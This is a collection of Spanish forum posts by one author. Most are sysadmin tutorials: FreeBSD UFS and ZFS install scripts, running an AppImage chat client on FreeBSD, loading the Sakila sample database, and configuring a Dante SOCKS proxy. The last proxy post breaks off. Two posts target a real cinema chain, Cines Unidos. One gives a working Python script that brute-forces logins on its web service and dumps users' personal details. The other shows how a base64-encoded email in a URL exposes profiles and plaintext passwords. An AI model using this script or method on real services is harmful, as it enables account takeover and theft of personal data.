# Descomprimimos base.txz y kernel.txz dentro de la
# partición del disco actual.
tar --unlink -xpf /media/wrk/13.0-RELEASE-p11-amd64/base.txz -C /mnt
tar --unlink -xpf /media/wrk/13.0-RELEASE-p11-amd64/kernel.txz -C /mnt

# Escribimos en fstab las particiones que deberán ser montadas
# al inicio de nuestro sistema.
echo /dev/gpt/root0 / ufs rw 0 1 > /mnt/etc/fstab
echo /dev/gpt/swap0 none swap sw 0 0 >> /mnt/etc/fstab

# Configuramos algunos parámetros e iniciamos algunos servicios.
echo clear_tmp_enable="YES" >> /mnt/etc/rc.conf
echo syslogd_flags="-ss" >> /mnt/etc/rc.conf
echo hostname="bob" >> /mnt/etc/rc.conf
echo keymap="es.acc.kbd" >> /mnt/etc/rc.conf
echo sshd_enable="YES" >> /mnt/etc/rc.conf
echo ifconfig_em1="DHCP" >> /mnt/etc/rc.conf

# Cambiamos la contraseña del superusuario.
chroot /mnt passwd

# Agregamos un nuevo usuario administrativo y
# le asignamos una contraseña.
mkdir -p /mnt/home/bob
pw useradd -R /mnt -n bob -c "Bob Stephan" -G wheel
chroot /mnt passwd bob

# Reiniciamos
reboot


Quiero dejar algunas notas. Primero, este script es demostrativo, no debería ser usado en un entorno real, lo digo porque muchas cosas, que no deberían, están hardcodeadas, además tener una gran partición no es buena idea, es mejor particionar según lo que vayamos a almacenar allí. Segundo, usen diskinfo -s para obtener el serial del disco con el fin de identificar cada partición de forma única. Identificar de esto modo las particiones evita muchos problemas a la hora cambiar un disco o de identificar cuál es el que está en mal estado. En mi caso me gusta usar los últimos caracteres del serial del disco duro como sufijo, y como prefijo uso dos o tres caracteres máximo, estos son rt, para la partición root, sw, para la memoria de intercambio, tmp, para la partición tmp, si es que se usará esta partición aparte; y la lista sigue y sigue, el punto es que se deben realizar esta clase de organización para evitar problemas innecesarios.

Una vez aclarado eso, simplemente copiemos el script usando, por ejemplo, scp para luego  ejecutarlo de forma remota.


Código: bash
$ scp install-ufs.sh [email protected]:/tmp
$ ssh [email protected] sh /tmp/install-ufs.sh


El script es útil para el aprendizaje, en este caso, sobre cómo instalar FreeBSD de forma manual. Lo comenté, por lo que la explicación de lo que hace está en su mismo código fuente.

ZFS:

Uno pensaría, al escuchar sobre ZFS, que es más complejo de instalar que UFS, y la respuestas es, depende. La manera más fácil y rápida de instalar ZFS de forma manual es, primero, usar bsdinstall(8) para instalar un entorno con ZFS. Una vez en el entorno, ejecutar zpool history para obtener todos los comandos que ejecutó bsdinstall(8). FreeBSD configura de un modo específico los datasets para que puedan o no ser usados cuando creamos boot environments, por lo que es importante seguir esta regla, más que una convención. La salida de mi zpool history (casi dos meses que tengo este archivo) sería la que se muestra abajo.

Código: text
2022-05-11.00:58:03 zpool create -o altroot=/mnt -O compress=zstd -O atime=off -m none -f zroot mirror /dev/gpt/zfsXXXXX /dev/gpt/zfsYYYYY
2022-05-11.00:58:22 zfs create -o mountpoint=none zroot/ROOT
2022-05-11.00:58:58 zfs create -o mountpoint=/ zroot/ROOT/default
2022-05-11.00:59:23 zfs create -o mountpoint=/tmp -o exec=off -o setuid=off zroot/tmp
2022-05-11.00:59:43 zfs create -o mountpoint=/usr -o canmount=off zroot/usr
2022-05-11.00:59:56 zfs create zroot/usr/home
2022-05-11.01:00:22 zfs create -o setuid=off zroot/usr/ports
2022-05-11.01:00:38 zfs create zroot/usr/src
2022-05-11.01:01:04 zfs create -o mountpoint=/var -o canmount=off zroot/var
2022-05-11.01:01:24 zfs create -o exec=off -o setuid=off zroot/var/audit
2022-05-11.01:01:26 zfs create -o exec=off -o setuid=off zroot/var/crash
2022-05-11.01:01:32 zfs create -o exec=off -o setuid=off zroot/var/log
2022-05-11.01:01:42 zfs create -o atime=on zroot/var/mail
2022-05-11.01:01:54 zfs create -o setuid=off zroot/var/tmp
2022-05-11.01:02:21 zfs set mountpoint=/zroot zroot
2022-05-11.01:02:42 zpool set bootfs=zroot/ROOT/default zroot
2022-05-11.01:03:19 zpool set cachefile=/mnt/boot/zfs/zpool.cache zroot
2022-05-11.01:03:34 zfs set canmount=noauto zroot/ROOT/default


He sustituido los seriales con Xs y Ys de las particiones ZFS.

Ya hemos instalado UFS en la anterior sección, por lo que tendremos más experiencia a la hora de saber cómo proceder con la instalación de FreeBSD pero esta vez usando ZFS. Lo que comunmente se debe hacer para instalar ZFS es crear tres particiones, muy parecido a lo que vimos en UFS, solo que como ZFS usa datasets, no tiene la desventajas de usar una gran partición.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:
Código: bash
#!/bin/sh -x

# Destruimos el esquema de particionado actual y
# creamos uno nuevo, que en este caso es GPT.
gpart destroy -F da0
gpart create -s gpt da0
# lo mismo pero con otro disco
gpart destroy -F da1
gpart create -s gpt da1

# Particionamos
gpart add -t freebsd-boot -a 1m -l boot0 -s 512k da0
gpart add -t freebsd-swap -a 1m -l swap0 -s 2g da0
gpart add -t freebsd-zfs -a 1m -l root0 da0
# Idem
gpart add -t freebsd-boot -a 1m -l boot1 -s 512k da1
gpart add -t freebsd-swap -a 1m -l swap1 -s 2g da1
gpart add -t freebsd-zfs -a 1m -l root1 da1

# Incrustamos el código de arranque dentro del esquema
# de los metadatos del esquema de particionado actual
# y escribimos escribimos el código de arranque en
# la partición de booteo.
gpart bootcode -b /boot/pmbr -p /boot/gpzfstboot -i 1 da0
# Idem
gpart bootcode -b /boot/pmbr -p /boot/gptzfsboot -i 1 da1

zpool create -o altroot=/mnt -O compress=zstd -O atime=off -m none -f zroot mirror /dev/gpt/root0 /dev/gpt/root1
zfs create -o mountpoint=none zroot/ROOT
zfs create -o mountpoint=/ zroot/ROOT/default
zfs create -o mountpoint=/tmp -o exec=off -o setuid=off zroot/tmp
zfs create -o mountpoint=/usr -o canmount=off zroot/usr
zfs create zroot/usr/home
zfs create -o setuid=off zroot/usr/ports
zfs create zroot/usr/src
zfs create -o mountpoint=/var -o canmount=off zroot/var
zfs create -o exec=off -o setuid=off zroot/var/audit
zfs create -o exec=off -o setuid=off zroot/var/crash
zfs create -o exec=off -o setuid=off zroot/var/log
zfs create -o atime=on zroot/var/mail
zfs create -o setuid=off zroot/var/tmp
zfs set mountpoint=/zroot zroot
zpool set bootfs=zroot/ROOT/default zroot
mkdir -p /mnt/boot/zfs
zpool set cachefile=/mnt/boot/zfs/zpool.cache zroot
zfs set canmount=noauto zroot/ROOT/default

# Montamos la partición donde se encuentran los archivos
# de distribución.
mkdir /media/wrk
fsck -p /dev/gpt/rootfs
mount /dev/gpt/rootfs /media/wrk

# Descomprimimos base.txz y kernel.txz dentro de la
# partición del disco actual.
tar --unlink -xpf /media/wrk/13.0-RELEASE-p11-amd64/base.txz -C /mnt
tar --unlink -xpf /media/wrk/13.0-RELEASE-p11-amd64/kernel.txz -C /mnt

# Escribimos en fstab las particiones que deberán ser montadas
# al inicio de nuestro sistema.
echo /dev/gpt/swap0 none swap sw 0 0 > /mnt/etc/fstab
echo /dev/gpt/swap1 none swap sw 0 0 >> /mnt/etc/fstab

# Configuramos algunos parámetros e iniciamos algunos servicios.
echo zfs_enable="YES" >> /mnt/etc/rc.conf
echo clear_tmp_enable="YES" >> /mnt/etc/rc.conf
echo syslogd_flags="-ss" >> /mnt/etc/rc.conf
echo hostname="bob" >> /mnt/etc/rc.conf
echo keymap="es.acc.kbd" >> /mnt/etc/rc.conf
echo sshd_enable="YES" >> /mnt/etc/rc.conf
echo ifconfig_em1="DHCP" >> /mnt/etc/rc.conf

# Cargamos el módulo ZFS desde el inicio
echo zfs_load="YES" >> /mnt/boot/loader.conf

# Cambiamos la contraseña del superusuario.
chroot /mnt passwd

# Agregamos un nuevo usuario administrativo y
# le asignamos una contraseña.
mkdir -p /mnt/home/bob
pw useradd -R /mnt -n bob -c "Bob Stephan" -G wheel
chroot /mnt passwd bob

# Reiniciamos
reboot


Se puede notar que este script está basado en el anterior de UFS, pero con una sútil pero efectiva modificación de la salida de zpool history. Además, esta vez hay que instalar el código de arranque por cada partición de cada disco duro, ya que si uno falla, será transparente para nosotros.

Conclusión:

Hemos apreciado el potencial de mfsBSD. Hemos visto cómo instalar FreeBSD usando ayudantes como bsdinstall(8), zfsinstall e incluso lo hemos instalado manualmente a través de un script. El potencial de esto solo se reduce a la imaginación y al problema que se esté deseando solucionar. Espero que el lector aprecie este artículo y le sea muy útil.

~ DtxdF
#11
Como bien es sabido, Hirana es un proyecto independiente de underc0de, pero que están muy relacionados, tanto así que al acceder a la página del foro, podemos ingresar directamente para poder conversar, ya sea con el staff de underc0de, o con quien se desee.


Hirana-Client está, desde el momento de escribir este artículo, para varias plataformas como Windows, Gnu/Linux, MacOS e incluso no hay necesidad de instalarlo dado que es totalmente posible usarlo desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, o como ya se aclaró, desde el mismo foro. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el creador de este proyecto, menciona que próximamente Hirana-Client tendrá su sitio en las plataformas como IOS y Android.


Aunque no esté oficialmente documentado, ayer (2022-03-01), quise instalar este cliente para mi caja personal con FreeBSD. Usando la tecnología Linuxlator, es posible ejecutar una aplicación AppImage con un poco de esfuerzo.

Instalación de Hirana-Client

Primero, antes de iniciar, es necesario descargar el cliente desde el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Se puede apreciar varios formatos, que en nuestro caso será el que está destinado para Linux, o en otras palabras, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nota: en este artículo se usará la versión 2.1.1 del cliente, pero hay que ser responsables en usar la última versión estable que pudiera cambiar en el futuro.


Instalación:

Una vez descargado, y ya habiéndole dado los permisos adecuados de ejecución, pudieramos antes de ejecutarlo, ser organizados.

Código: bash
mkdir -p ~/.local/opt/Hirana-Client
mv Hirana-Client-2.1.1.AppImage ~/.local/opt/Hirana-Client
cd ~/.local/opt/Hirana-Client
./Hirana-Client-2.1.1.AppImage --no-sandbox



Esto no será tan fácil como se esperaba...

El error es claro, y se necesita fuse para que pueda funcionar sin problemas, pero el problema es que aunque se instale el paquete libfuse2 (en ubuntu usando la capa de compatibilidad con linux; no se está refiriendo a instalarlo en FreeBSD), el sistema seguirá sin reconocerlo luego de, incluso, instalarlo.


Por suerte, el mismo AppImage nos da una pista de lo que hay que hacer.

Código: bash
./Hirana-Client-2.1.1.AppImage --appimage-extract



Esto nos creará un interesante directorio llamado squashfs-root, donde tendremos lo necesario para poder ejecutar la aplicación.

Código: bash
./squashfs-root/hira-client-desktop --no-sandbox



Mejoras:

He mentido al decir que será difícil, porque no lo ha sido, pero aunque podamos ejecutarlo sin problemas, tenemos un gran problema que probablemente no se haya apreciado.


¡210 Megabytes!

Por suerte, hay una solución sencilla.

Primero, hay reducir el espacio, lo cual se puede hacer con tar(1). Usaré la compresión zstd porque es muy cool, y aunque pudiera usar perfectamente xz, amo el equilibrio entre ratio de compresión y tiempo estimado, donde claramente zstd gana.


Código: bash
cd ./squashfs-root
tar --zstd --options zstd:compression-level=3 -cvf hirana-client.tzst .



El nivel de compresión dependerá de qué tan rápido sea su procesador. Mi pentium hace todo lo posible para comprimir lo más rápido que pueda, pero no es posible hacer magia (ya lo he intentado).


Eso sería poco menos de 2.3 veces menos su peso original.

Solucionando el primer problema, viene el segundo: ¿cómo puedo ejecutar un .tzst? No puedes, o al menos no directamente. Empieza la magia. Mi idea es aprovechar lo que nos brinda FreeBSD: vamos a crear un sistema de archivos que va a estar en memoria, descomprimimos hirana-client.tzst y luego lo ejecutamos. Suena complicado, pero realmente FreeBSD nos pone las herramientas para hacerlo fácilmente.


Código: bash
# Creamos la carpeta donde se montarán los archivos
mkdir mnt
# Creamos un disco en memoria
doas mdconfig -a -t malloc -o reserve -s 238M
# Formateamos con UFS sin soft-updates ni journaling, ni con el directorio .snap. No es necesario nada de esto.
doas newfs -n /dev/md0
# Montamos el sistema de archivos.
doas mount /dev/md0 mnt
# Descomprimidos.
doas tar -C mnt/ -xvf hirana-client.tzst



Notaremos que fue muy rápido, pero el siguiente paso es simplemente ejecutar hira-client-desktop en el directorio ./mnt/.

Atajos:

Necesitamos ejecutarlo desde nuestro menú de nuestro entorno, por suerte, para las aplicaciones que sigan el estándar Freedesktop, podemos colocar el .desktop en ~/.local/share/applications.

Código: bash
cp ~/.local/opt/Hirana-Client/mnt/hira-client-desktop.desktop ~/.local/share/applications
# Copiamos el icono
cp ~/.local/opt/Hirana-Client/mnt/usr/share/icons/hicolor/0x0/apps/hira-client-desktop.png  ~/.local/share/icons/hicolor/256x256/apps
sed -i '' 's/AppRun/.local\/opt\/Hirana-Client\/hirana-client.sh --no-sandbox/' ~/.local/share/applications/hira-client-desktop.desktop


Hay una línea de más muy rara.

Si seguimos el tutorial anterior, vemos la manera de usar el Hirana-Client descomprimiéndolo en memoria, pero hacer ese proceso (reservar memoria, formatear, montar, etc.) puede tomar mucho tiempo, por lo que lo mejor que hay que realizar es automatizar.


~/.local/opt/Hirana-Client/hirana-client.sh
Código: bash
#!/bin/sh

# Compressed file path
APPIMAGE_FILE=~/.local/opt/Hirana-Client/hirana-client.tzst
# Memory reservation
APPIMAGE_SIZE=238M
# root path
PREFIX=~/.local/opt/Hirana-Client/mnt
# Reserved
MD_DEVICE=
# Relative
APPIMAGE_RUN="hira-client-desktop $@"

release() {
        if [ -z "${MD_DEVICE}" ]; then
                # nothing to do
                return 1
        fi

        doas umount "${PREFIX}"
        doas mdconfig -du ${MD_DEVICE}
}

main() {
        MD_DEVICE=`doas mdconfig -a -t malloc -o reserve -s ${APPIMAGE_SIZE}`
        doas newfs -n /dev/${MD_DEVICE}
        doas mount /dev/${MD_DEVICE} "${PREFIX}"
        doas tar -C "${PREFIX}" -xf "${APPIMAGE_FILE}"
        sh -c "${PREFIX}/${APPIMAGE_RUN}"
}

set -e

trap release SIGTERM SIGINT EXIT

main


Este script hace todo lo que realizamos en el paso anterior e incluso lo ejecuta. Usa doas (pueden ver un tutorial de doas en FreeBSD No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). Dependiendo de sus necesiades, pueden configurarlo para que se ejecute sin contraseña con determinados comandos, o pueden dejarlo a su creatividad y mejor solución.


Ya teniendo todo lo necesario, ¡el hirana-client está instalado! Ya es posible conversar con las personas del foro.


Conclusión

Este tutorial está destinado a cómo poder usar Hirana-Client en FreeBSD, pero tiene como segundo objetivo usar una AppImage, que aunque el proceso puedo ser distinto para cada aplicación, por lo menos orienta un poco a los usuarios de esta hermosa plataforma.

~ DtxdF
#12
Hace muy poco se No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, la cual presentaba una vulnerabilidad más sencilla de explotar que la que se presentará en este artículo, pero no por ello menos grave.


Cines Unidos es creador de su propio Web Service, y parece que muy viejo es, ya que está o estaba pensado para soportar a Blackberry, que en sus tiempos fue un gran teléfono para muchos; pero hoy en día solo puede ser un agujero de seguridad, siendo éste un sistema heredado. Aunque es indiferente, ya que se puede soportar perfectamente una plataforma vieja, sin descuidar la seguridad, y sin por lo menos tener autenticación, de la cual carece.


Ingresando a 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' es posible observar las funciones de las cual nos convida.


Aunque todas sean interesantes, las que me motivaron a redactar este modesto artículo son dos: Login y RegisterUser; siendo la primera la que protagonizará esta obra.

Resulta que Cines Unidos tiene un captcha en el registro y un molesto aviso en el de inicio de sesión el cual nos informa cuando cometemos un error en nuestras credenciales. Todo esto nos hace perder muchísimo tiempo siendo un atacante en este escenario. ¿Qué tal si usamos el Web Service para bypasear todo esto y ahorrar tiempo?


Código: python
#!/usr/local/bin/python3.7

import zeep

WS_URL = "http://ws.cinesunidos.com/blackberry.asmx?wsdl"

def get_instance():
return zeep.Client(
WS_URL
)

def ws_login(username, password):
ws = get_instance()

return ws.service.Login(
username, password
)

def main():
import argparse

parser = argparse.ArgumentParser(description="Brute-force attack to ws.cinesunidos.com/blackberry.asmx")
parser.add_argument("-u", "--username", help="The username", required=True)
parser.add_argument("-w", "--wordlist", help="The wordlist to use", required=True, type=argparse.FileType("r", encoding="utf-8"))
parser.add_argument("-i", "--show-user-information", help="Show user information", action="store_true")

args = parser.parse_args()
username = args.username
wordlist = args.wordlist
show_info = args.show_user_information

for password in wordlist:
# Remove new line
password = password.strip()

response = ws_login(username, password)

if (response["Status"]):
print(f"[+] Password found: {password}")

if (show_info):
user_info = response.User

print("User information:")
print("################")
print("Birthdate:", f"{user_info.Birthdate}")
print("Sex:", f"{user_info.Sex}")
print("Login:", f"{user_info.Login}")
print("Name:", f"{user_info.Name}")
print("LastName:", f"{user_info.LastName}")
print("Phone:", f"{user_info.Phone}")
print("SecureId:", f"{user_info.SecureId}")
print("ExternalId:", f"{user_info.ExternalId}")
break
else:
print(f"[-] The '{password}' is incorrect...")

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
pass


Un script es lo que se necesita para realizar esto. Un script que automatice, que sea nuestra herramienta, o nuestra arma. Su uso, por suerte, es demasiado sencillo, y tan solo depende de una librería:

Código: bash
pip install zeep


Los únicos parámetros que debemos memorizar, son tres: -u, el nombre de usuario; -w, la lista de contraseñas; y por último, además que es opcional, pero muy útil, -i que muestra la información de usuario. Agrupando esta breve explicación, podríamos realizar la siguiente secuencia:

Código: bash
python3.7 bruteforce.py -u [email protected] -w wordlist.lst -i


*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: la dirección de correo electrónico objetivo;
*.- wordlist.lst: la lista de palabras que se usarán como contraseñas, línea por línea.

Claro, que nos faltaría una cosa muy relevante: la lista de contraseñas. Es arbitraria, pero para esta Prueba de Concepto, se usará el clásico crunch:


Código: bash
crunch 1 5 12345abc > wordlist.lst


Y como soy víctima y atacante en este escenario, introduzco intencionalmente la contraseña que conozco en cualquier línea que desee. Acto seguido: realizamos nuestro pequeño ataque.


Feliz navidad.

~ DtxdF
#13
Cines Unidos es una cadena de cines de Venezuela fundada el 13 de Junio de 1947. Actualmente se encuentra en 11 ciudades y cuenta con 198 salas en 24 complejos. La empresa además de su principal negocio, distribuye películas a nivel nacional.


Pese a no ser muy fanático de Marvel o de sus superhéroes, Spider-Man: No Way Home es una película que sin duda alguna está de moda, y genera interés hacia los cercanos a mí. Mi persona, un tanto curiosa, observó algo muy interesente que hoy día comparto. Un amigo, que no diré el nombre, entró en su cuenta de Cines Unidos a través de la misma página web como un día común y corriente, pero lo interesante de esto, es la URL...


El parámetro GET llamado hash, fue mi motivación inicial. Este parámetro, con su nombre tan evidente, me hizo saber que era un identificador. No cualquier identificador, ya que si observamos no nos dice nada a simple vista su valor. Pero si nos vamos a nuestro terminal:


¡Es el correo electrónico! Claro, que para los desarrolladores codificarlo a base64 fuera sido mejor...

Hasta aquí nada sorprendente de lo que ya hemos descubierto: un simple identificador y nada más. Ofuscado y nada más. Pero, no quise quedarme con esos simples datos, ya que mi intuición me decía que había algo más, algo no tan evidente.



Cierro sesión. Reflexiono con los datos que adquirí, y comienzo a realizar varias hipótesis. La primera, y más evidente, y la que éxito tuve, fue decir a mis adentros: ¿si la dirección de correo electrónico es el identificador de la persona codificado a base64, alguien que no esté registrado podría igualmente ver los datos de esa persona? Sigamos para ver el desenlace.

Así que, como si fuera soldado y general a la vez, prosigo a darme ordenes y cumplirlas, las cuales son sencillas:

*.- Adquirir un correo electrónico de la víctima;
*.- Codificarlo a base64;
*.- Usar la misma URL, que por decirlo de otra manera es el exploit, y verificar mi teorema.



El resultado ahora sería:

Código: text
https://www.cinesunidos.com/Mi_Cuenta/UpdateUser?hash=a2xlcnh0dXpAc2hhcmtsYXNlcnMuY29t


Al ingresar:


Es sencillo observar que ya estoy en el formulario para actualizar la información del usuario. Y como un plus, se puede observar que no he iniciado sesión. El sistema cree que no he ingresado con mis credenciales, porque efectivamente no fue así. ¡El sistema no necesita que un usuario ingrese sus credenciales para poder ver su información!

Algo más peculiar, pero no dotado de seguridad, es el módulo Contraseña que le permite al usuario cambiar su contraseña según que le plazca. Yo, como atacante y también víctima en este escenario, deseo observar las credenciales del usuario para acceder a posteriori como un usuario legitimo. Presionamos CTRL-U para ver el código fuente, seguido de CTRL-F para buscar algún patrón, y luego buscamos lo siguiente id="Password".



Vemos el atributo value que nos hace coto a nuestra búsqueda del tesoro. El atacante ahora conoce la dirección de correo electrónico y la contraseña. ¿Qué sigue? Acceder como un usuario legitimo...


¡Voilá! Ya hemos accedido como un usuario legitimo para el sistema.


Conclusión

Hemos observado en este modesto artículo que Cines Unidos es inseguro. Un atacante legitimo puede adquirir fácilmente una lista de direcciones de correo electrónico y luego ir probando uno a uno, quizá con un script, quizá manual. El atacante además puede obtener información que puede resultar sensible, como el nombre completo de la persona, la cédula de identidad, la dirección, y puede que lo peor de todo, la contraseña, que como sabemos, los usuarios comunes mayormente usan la misma contraseña para diferentes servicios.

Esperemos arreglen pronto esta vulnerabilidad, pero queda en el aire una interrogante más: ¿habrá una más o quizá peor que esta?.


~ DtxdF
#14
Hola a todos.

He estado indagando sobre cómo hacer funcionar el que me dieron para concluir un trabajo y he tenido una serie de inconvenientes.

La idea es que se tenga que usar en Windows, entonces solo se podrá usar desde éste. Al conectarlo no lo reconocía en este SO, así que requerí el controlador para poder usarlo. Al darme el instalador (chino) no se pudo instalar con la aplicación (es un ejecutable) llamado CP210xVCPInstaller.exe. Entonces verifiqué que el controlador estuviera en una subcarpeta y lo estaba, así que fui a Administradores de dispositivos y al nuevo dispositivo, que en este entonces Windows lo coloca como desconocido, presione la opción Actualizar controlador y busqué manualmente la carpeta. Esto instaló el controlador y ahora el dispositivo es detectado. El controlador proviene de Silicon Labs y Windows lo nombró como Silicon Labs CP210x USB to UART Bridge (COM4).

Ahora teniendo la ruta del puerto serial, que debe ser emulado, ya que el aparato tiene un cable USB como conexión, trato de conectarme usando miniterm que lo provee la librería pyserial de python. No recibo ningún dato. Trato de hacerlo con putty. Mismo resultado.

Así que sigo indagando y me topo con una librería llamada pyrfidhid, pero obtengo el error No backend available, pero lo soluciono instalando libusb-win32-devel-filter, que a su vez me instala algunos programas; ejecuto Inf Wizard y selecciono el dispositivo. Esto finalmente eliminará el dispositivo de la lista de puertos seriales y lo agregará en una nueva lista llamada libusb32. Al tratar de ejecutar un pequeño snippet, que lo dejaré a continuación, me aparece el error "Uno de los dispositivos conectados al sistema no funciona".

Código: python
from rfidhid.core import RfidHid

rfid = RfidHid(vendor_id=0x10c4, product_id=0xea60)

payload_response = rfid.read_tag()
uid = payload_response.get_tag_uid()

rfid.beep()
print(uid)


Mi teoría es que se debe inicializar con algún o unos bytes iniciales, pero me lo dejaron sin documentación, tampoco me dijeron la empresa, ni ninguna otra información que puede ser de utilidad. Estoy en cero, la verdad.

~ DtxdF
#15
Sakila es una base de datos de muestra proporcionada por Oracle. Esta base de datos está destinada a proporcionar un esquema estándar que es muy útil para usar en libros, tutoriales, artículos, muestras o procedimientos de pruebas con el fin de explotar la capacidad de MySQL y relacionados.


Este tipo de esquemas de base de datos es muy útil cuando estamos comenzando a usar MySQL o cuando necesitamos realizar pruebas sobre características de ésta. Incluso es muy útil si estamos escribiendo un artículo relacionado y necesitamos mantener una estructura estándar.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Descarga de sakila:

Podemos descargar la base de datos en la siguiente dirección URL desde nuestro navegador para después descomprimirla. O directamente se puede realizar todo desde la terminal:

Desde el navegador:
Código: text
https://downloads.mysql.com/docs/sakila-db.zip


Desde la terminal:
Código: text
wget -c -vv "https://downloads.mysql.com/docs/sakila-db.zip"
unzip sakila-db.zip
cd sakila-db


Nos encontraremos con tres archivos:


  • sakila-schema.sql: contiene todas las declaraciones necesarias para crear la estructura de la base de datos.
  • sakila-data.sql: contiene todas las declaraciones necesarias para completar la estructura creada por sakila-schema.sql junto con las definiciones desencadenantes que deben crearse después de la carga de datos inicial.
  • sakila.mwb: contiene un modelo de datos de MySQL Workbench que puede abrir dentro de MySQL Workbench para examinar la estructura de la base de datos.

El tercero no nos compete al menos que necesitemos usar Workbench, pero para este tutorial sólo nos preocuparemos de los dos primeros.

Instalación de sakila:

Ya hemos descargado efectivamente los archivos correspondientes, ahora es necesario abrir nuestra consola MySQL e instalar todo.

Código: text
mysql -u root -p
mysql> SOURCE sakila-schema.sql;
mysql> SOURCE sakila-data.sql;
mysql> EXIT;



~ DtxdF
#16
Seguridad / Configuración de un proxy en LAN/WLAN
Marzo 02, 2021, 11:44:23 PM
Un proxy es, en el más sentido estricto de la palabra, un intermediario, si suponemos que es un programa o dispositivo que actúa de intermediario (en una red de ordenadores) entre un servidor, siendo éste el objetivo de la otra parte, en este caso, el cliente.

Suponiendo el caso que tengamos tres máquinas, vamos a acuñar el nombre de máquina A al cliente, B para el Proxy y C para el servidor. El cliente (A) desea conectarse al servidor (C) como normalmente se haría, pero antes de que la petición pueda llegar a su destinatario, ésta pasa hacia el Proxy (B) y de este último al servidor.



Esquema de un proxy

Sus usos son relativos a cada cliente, pero entre los más caprichosos podríamos mencionar necesidades de lo más variopintas:


  • Cortafuegos: Se podría decir de cierta forma, que este uso es muy habitual si se desea bloquear tráfico indeseado o prevenir ataques perpetuados por el malware. Además que de esta medida también se podría usar como filtro para sitios publicitarios.
  • Filtración del contenido: En una empresa regularmente se dispone de este tipo de uso para bloquear el tráfico saliente generado por los empleados. Esto puede ser muy útil para prevenir cualquier tipo de distracción o, inclusive, se podría decir que podría mejorar la seguridad.
  • Aceleración y ahorro de ancho de banda: Ya sea que estemos usando un navegador o cualquier otro software que tenga la posibilidad de conectarse a otra máquina (a través de Internet o Intranet, por ejemplo), es muy útil guardar datos como imágenes, vídeos, y misceláneas, como lo pueden ser los archivos usados mayormente en los sitios web: HTML, CSS, JS, etc.; esta característica para ahorrar y acelerar la trae con sí cualquier navegador decente, pero muy útil igualmente cuando no, o es otro software de diferente índole.
  • Control de acceso: En la administración de ordenadores en una empresa, instituciones y sitios gubernamentales, es muy útil ser permisivos con determinados usuarios o restringir el uso de cada quien, para regular la información que se comparte entre sí. No obstante, la regulación de la información no es el único fin, se podría decir que para usar que sean provistos ciertos servicios es necesario el uso de un proxy.
  • Anonimato y privacidad: En algunos países donde la información que se comparte puede ser restringida de forma arbitraria, ya sea por un gobierno o un ISP, los proxies son muy útiles para evadir la censura.

Dante & Stunnel:

SOCKS es un protocolo de Internet para el intercambio de paquetes a través de un servidor proxy. La naturaleza del protocolo brinda versatilidad para crear todo tipo de herramientas de enrutamiento, y también es muy útil para otros objetivos, como ser una precisa herramienta para la elusión, que permite evadir el filtrado de Internet para acceder a contenidos bloqueados por gobiernos, lugares de trabajo, escuelas y dependiendo del caso, acceder a servicios específicos de una nación.

Dante es eso, un servidor proxy que usa SOCKS como protocolo. Este software es muy simple, pero totalmente funcional, y si se combina con Stunnel aumentaría el poderío de cualquier individuo que busque un buen equilibrio entre privacidad y seguridad.


Instalación de Dante:

Usando nuestro gestor de paquetes apt, y aclarando que el sistema se debe encontrar actualizado, vamos a instalar el paquete dante-server.

Código: bash
sudo apt-get install dante-server



Instalación de dante-server

Una vez finalizado, debemos configurarlo.

Configuración de Dante


Editando el archivo de configuración de danted

Primero que nada, vamos a editar el archivo de configuración de danted, pero para simplificar aún más este artículo, vamos a agregar el siguiente extracto de configuración muy elemental:

Código: text
logoutput: /var/log/socks.log
internal: 127.0.0.1 port = 1080
external: eth0
clientmethod: none
socksmethod: none
user.privileged: root
user.notprivileged: nobody

# Permitir conexiones localhost (stunnel)
client pass {
        from: 127.0.0.1/32 to: 127.0.0.1/32
}

# Bloquear y registrar el resto de intentos de conexión
client block {
        from: 0.0.0.0/0 to: 0.0.0.0/0
        log: connect error
}

# Bloquear el acceso de los clientes a los servicios localhost
socks block {
        from: 0.0.0.0/0 to: lo
        log: connect error
}

# Permitir a los clientes acceso al exterior - tcp 80 utilizando el método "connect"
socks pass {
        from: 127.0.0.1/32 to: 0.0.0.0/0 port = 80
        command: connect
        protocol: tcp
}

# Permitir a los clientes acceso al exterior - tcp 443 utilizando el método "connect"
socks pass {
        from: 127.0.0.1/32 to: 0.0.0.0/0 port = 443
        command: connect
        protocol: tcp
}

# Bloquear y registrar todos los demás intentos de clientes
socks block {
        from: 0.0.0.0/0 to: 0.0.0.0/0
        log: connect error
}


logoutput

Este valor controla la salida del servidor de los registros.

internal

Toda dirección y sólo en esta dirección, que provenga de ésta o una interfaz, será aceptada.

external

Esta será la dirección o la interfaz de salida, y es importante que, si es que lo deseamos, nos brinde la conexión a Internet.

clientmethod

Exigir que la conexión se "autentique" utilizando uno de los métodos apropiados.

socksmethod

Si el cliente ofrece más de un método de autenticación, Dante seleccionará el método a utilizar en función del orden en que los métodos son listados aquí.

user.privileged

Nombre de usuario para realizar ciertas operaciones con privilegios.

user.notprivileged

Usuario que el servidor ejecuta la mayor parte del tiempo. Éste debe tener un ID con tan pocos privilegios como sea posible.


Si es necesario realizar operaciones mucho más complejas de las que se muestran acá se pueden apreciar mejor en la propia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.


Uso de dante:

Ya concluida su configuración, es necesario activar el servicio, que si resulta satisfactoria su ejecución, podremos conectarnos a él por el puerto 1080, que, si no se es sabido, es el puerto estándar de los servidores proxy SOCKS.

Código: bash
sudo service danted start



Iniciando el servicio danted

Una el servicio se inicia, es hora de probarlo, y para ello, podemos usar la herramienta CURL, que si bien, en la mayoría de distribuciones se tiene preinstalada, puede que esta o la del lector no, así que con el siguiente comando es posible instalarlo:

Código: bash
sudo apt-get install curl



Instalación del paquete CURL

En mi distribución está la versión más reciente de CURL.

Una vez que se ha instalado, es posible ver nuestra dirección IP pública, aunque aclarando que sin importar (para este caso) si se usa o no un proxy, se obtendrá la misma, pero el objetivo de esto es verificar si podemos conectar con el proxy que hemos configurado.


Código: bash
